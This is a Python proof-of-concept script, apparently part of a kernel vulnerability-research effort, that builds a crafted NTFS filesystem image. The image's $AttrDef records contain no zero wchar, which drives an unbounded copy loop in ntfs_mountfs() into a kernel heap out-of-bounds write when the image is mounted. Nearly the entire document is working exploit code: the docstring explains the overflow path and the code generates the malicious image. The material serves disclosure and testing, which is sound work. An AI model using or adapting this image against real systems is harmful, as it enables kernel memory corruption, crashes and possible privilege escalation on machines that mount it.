DF-0871 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 | #!/usr/bin/env python3 """ DF-0871 NTFS image crafter. Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs / ntfs-3g needed) and poisons the $AttrDef (MFT record 4) $DATA stream so that its 160-byte attrdef records have: * ad_name[0..63] : all wchars NON-ZERO (no NUL terminator in the 64-wchar name field), and * the trailing 32 B (ad_type / reserved1 / ad_flag / ad_minlen / ad_maxlen) : all NON-ZERO half-words This defeats the terminator of the unbounded wchar->char do/while in ntfs_mountfs() (sys/vfs/ntfs/ntfs_vfsops.c:458-460): j = 0; // :457 do { ntmp->ntm_ad[i].ad_name[j] = ad.ad_name[j]; // :459 dest is char[0x40]=64 } while(ad.ad_name[j++]); // :460 NO bound on j Because no wchar in the whole 160-byte source struct is zero, j runs 0..80+ before the walk hits a zero on the stack. The destination writes past the 72-byte ntvattrdef[i]: j=64..71 -> ntvattrdef[i].ad_namelen / ad_type (within object; repaired by the post-loop assignments at :461-462) j=72.. -> ntvattrdef[i+1].ad_name[0..] (CROSS-ENTRY heap OOB write), or, for the last entry, past the whole kmalloc() -> heap OOB into the M_NTFSMNT slab zone. The overflow is deterministic in the harness; on the live GENERIC (INVARIANTS-ON) kernel the cross-allocation write may or may not panic immediately depending on slab layout, but the corruption is real. This builder is a sibling of DF-0785's craft_img.py; the root directory here is deliberately WELL-FORMED (ir_size == va_datalen) so only the DF-0871 mount-time $AttrDef bug is exercised. Geometry (standard NTFS): bps=512, spc=8 (4096-byte cluster), mftrecsz=0xF6 => MFT record = 2 sectors = 1024 bytes. Usage: craft_img.py [out.img] [num_evil] default: out.img ntfs_evil.img, num_evil=2 """ import struct import sys # ---- geometry ---- BPS = 512 SPC = 8 CLU = BPS * SPC # 4096 MFTRECSZ = 0xF6 # -10 => 2**10 = 1024 RECSZ = 1024 NCLUSTERS = 128 # 512 KB volume MFTCN = 2 UPCASE_CN = 34 UPCASE_NCLU = 32 # 131072 B = 65536 * sizeof(wchar) FILE_MAGIC = 0x454C4946 # "FILE" FIXUP_OFF = 0x30 FIXUP_VAL = 0xA001 A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90 NTFS_ATTRDEFINO = 4 def le16(v): return struct.pack("<H", v & 0xFFFF) def le32(v): return struct.pack("<I", v & 0xFFFFFFFF) def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF) def boot_sector(): b = bytearray(BPS) b[0:3] = b"\xEB\x52\x90" b[3:11] = b"NTFS " struct.pack_into("<H", b, 11, BPS) b[13] = SPC b[21] = 0xF8 struct.pack_into("<H", b, 24, 32) struct.pack_into("<H", b, 26, 2) struct.pack_into("<Q", b, 40, NCLUSTERS * SPC) struct.pack_into("<Q", b, 48, MFTCN) struct.pack_into("<Q", b, 56, 64) b[64] = MFTRECSZ struct.pack_into("<I", b, 65, 4096) struct.pack_into("<I", b, 69, 0xDEADBEEF) return bytes(b) def resident_attr(atype, datalen, data, name="", reclen_pad=8): wname = name.encode("utf-16-le") if name else b"" namelen = len(name) nameoff = 0x18 dataoff = nameoff + len(wname) reclen = dataoff + datalen reclen = (reclen + reclen_pad - 1) & ~(reclen_pad - 1) buf = bytearray(reclen) struct.pack_into("<I", buf, 0, atype) struct.pack_into("<I", buf, 4, reclen) buf[8] = 0 buf[9] = namelen buf[10] = nameoff & 0xFF buf[11] = 0 buf[12] = 0 buf[13] = 0 struct.pack_into("<H", buf, 14, 0) struct.pack_into("<H", buf, 16, datalen) struct.pack_into("<H", buf, 18, 0) struct.pack_into("<H", buf, 20, dataoff) struct.pack_into("<H", buf, 22, 0) buf[nameoff:dataoff] = wname buf[dataoff:dataoff + len(data)] = data[:datalen] return bytes(buf) def nonresident_data_attr(runs_bytes, allocated, datalen): dataoff = 0x40 reclen = dataoff + len(runs_bytes) reclen = (reclen + 7) & ~7 buf = bytearray(reclen) struct.pack_into("<I", buf, 0, A_DATA) struct.pack_into("<I", buf, 4, reclen) buf[8] = 0x01 buf[9] = 0 buf[10] = dataoff & 0xFF struct.pack_into("<Q", buf, 16, 0) ncu = datalen // CLU struct.pack_into("<Q", buf, 24, ncu - 1) struct.pack_into("<H", buf, 32, dataoff) struct.pack_into("<H", buf, 34, 0) struct.pack_into("<I", buf, 36, 0) struct.pack_into("<Q", buf, 40, allocated) struct.pack_into("<Q", buf, 48, datalen) struct.pack_into("<Q", buf, 56, datalen) buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes return bytes(buf) def term_attr(): b = bytearray(8) struct.pack_into("<I", b, 0, 0xFFFFFFFF) return bytes(b) def mft_record(seqnum, nlink, flags, attrs_bytes): rec = bytearray(RECSZ) struct.pack_into("<I", rec, 0, FILE_MAGIC) struct.pack_into("<H", rec, 4, FIXUP_OFF) struct.pack_into("<H", rec, 6, RECSZ // BPS + 1) struct.pack_into("<H", rec, 16, seqnum) struct.pack_into("<H", rec, 18, nlink) attroff = 0x38 struct.pack_into("<H", rec, 20, attroff) struct.pack_into("<H", rec, 22, flags) used = attroff + len(attrs_bytes) struct.pack_into("<I", rec, 24, used) struct.pack_into("<I", rec, 28, RECSZ) struct.pack_into("<Q", rec, 32, 0) struct.pack_into("<H", rec, 40, 0) struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL) rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL) struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL) return bytes(rec) # ---- DF-0871: the EVIL $AttrDef data ---- ATTRDEF_RECSZ = 160 # sizeof(struct attrdef) on disk NAME_WCHARS = 64 # NTFS_ATTRNAME_MAXLEN def evil_attrdef_records(num_evil): """`num_evil` 160-byte records whose ENTIRE 160 bytes are non-zero half-words (so the do/while at ntfs_vfsops.c:458-460 never sees a NUL wchar within the source struct), followed by one all-zero terminator record so the count loop (:432-441) stops. We give each evil entry a recognisable name prefix so the kernel log / dumped bytes are identifiable.""" out = bytearray() for n in range(num_evil): e = bytearray(ATTRDEF_RECSZ) # ad_name[0..63]: 64 non-zero wchars. First chars spell a tag. tag = "EVIL%02d" % n # 6 chars, rest filled with 'A' for i in range(NAME_WCHARS): ch = ord(tag[i]) if i < len(tag) else ord('A') struct.pack_into("<H", e, i * 2, ch | 0x4100) # non-zero wchar # trailing 32 B (ad_type, reserved1[2], ad_flag, ad_minlen, ad_maxlen) # all non-zero so the walk keeps going through j=64..79 struct.pack_into("<I", e, 128, 0xFFFFFFFF) # ad_type struct.pack_into("<I", e, 132, 0xFFFFFFFF) # reserved1[0] struct.pack_into("<I", e, 136, 0xFFFFFFFF) # reserved1[1] struct.pack_into("<I", e, 140, 0xFFFFFFFF) # ad_flag struct.pack_into("<Q", e, 144, 0xFFFFFFFFFFFFFFFF) # ad_minlen struct.pack_into("<Q", e, 152, 0xFFFFFFFFFFFFFFFF) # ad_maxlen out += e out += bytearray(ATTRDEF_RECSZ) # all-zero terminator return bytes(out) def well_formed_index_root(): """A minimal, well-formed resident $INDEX_ROOT for the root dir. ir_size == datalen so DF-0785's lookup overflow is NOT triggered; this isolates the DF-0871 mount-time $AttrDef bug. Contains a single "." entry + LAST marker so any directory walk terminates cleanly.""" datalen = 0x40 # 64 bytes of index data (small, well-formed) hdr = bytearray(32) struct.pack_into("<I", hdr, 0, 0x30) # ir_unkn1 struct.pack_into("<I", hdr, 4, 0x01) # ir_unkn2 struct.pack_into("<I", hdr, 8, datalen) # ir_size == datalen (WELL-FORMED) struct.pack_into("<I", hdr, 12, 1) # ir_unkn3 struct.pack_into("<I", hdr, 16, 0x10) # ir_unkn4 struct.pack_into("<I", hdr, 20, datalen - 32) struct.pack_into("<I", hdr, 24, datalen - 32) struct.pack_into("<H", hdr, 28, 0x01) struct.pack_into("<H", hdr, 30, 0x00) entry = bytearray(datalen - 32) struct.pack_into("<I", entry, 16, 0x00000002) # NTFS_IEFLAG_LAST struct.pack_into("<H", entry, 8, len(entry)) return bytes(hdr) + bytes(entry) def upcase_table(): return b"".join(struct.pack("<H", i) for i in range(65536)) def runs_encode(cluster, length): return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00]) def build(out_path, num_evil): img = bytearray(NCLUSTERS * CLU) img[0:BPS] = boot_sector() # --- MFT record 0: $MFT --- rec0 = mft_record(1, 1, 0, resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr()) off = MFTCN * CLU + 0 * RECSZ img[off:off + RECSZ] = rec0 # --- MFT record 4: $AttrDef (BUG TARGET) --- ad = evil_attrdef_records(num_evil) rec4 = mft_record(1, 1, 0, resident_attr(A_DATA, len(ad), ad) + term_attr()) off = MFTCN * CLU + 4 * RECSZ img[off:off + RECSZ] = rec4 # --- MFT record 5: root dir (WELL-FORMED) --- iroot = well_formed_index_root() idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30") NTFS_FRFLAG_DIR = 0x0002 rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr()) off = MFTCN * CLU + 5 * RECSZ img[off:off + RECSZ] = rec5 # --- MFT record 6: $Bitmap --- bmp = b"\xFF" * 16 rec6 = mft_record(1, 1, 0, resident_attr(A_DATA, len(bmp), bmp) + term_attr()) off = MFTCN * CLU + 6 * RECSZ img[off:off + RECSZ] = rec6 # --- MFT record 10: $UpCase (non-resident 128 KB) --- runs = runs_encode(UPCASE_CN, UPCASE_NCLU) nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU) rec10 = mft_record(1, 1, 0, nr + term_attr()) off = MFTCN * CLU + 10 * RECSZ img[off:off + RECSZ] = rec10 uo = UPCASE_CN * CLU img[uo:uo + UPCASE_NCLU * CLU] = upcase_table() with open(out_path, "wb") as f: f.write(img) print(f"[+] wrote {out_path} ({len(img)} bytes)") print(f"[+] geometry: bps={BPS} spc={SPC} cluster={CLU} " f"mftrecsz=0x{MFTRECSZ:02X} mftrec={RECSZ} mftcn={MFTCN}") print(f"[+] $AttrDef: {num_evil} evil 160-B record(s) + 1 zero terminator") print(f"[+] -> count loop counts num={num_evil} entries") print(f"[+] -> kmalloc(num*72 = {num_evil*72} B) for ntvattrdef array") print(f"[+] -> each entry's do/while walks j=0..80+ (no NUL wchar in source)") print(f"[+] -> writes at j=72.. leave the 72-byte object => HEAP OOB") if num_evil >= 2: print(f"[+] -> entry[0] overflow corrupts entry[1].ad_name[0..] " f"(cross-entry); entry[{num_evil-1}] overflow crosses the " f"{num_evil*72}-B allocation into the M_NTFSMNT slab zone") if __name__ == "__main__": out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img" ne = int(sys.argv[2]) if len(sys.argv) > 2 else 2 build(out, ne) |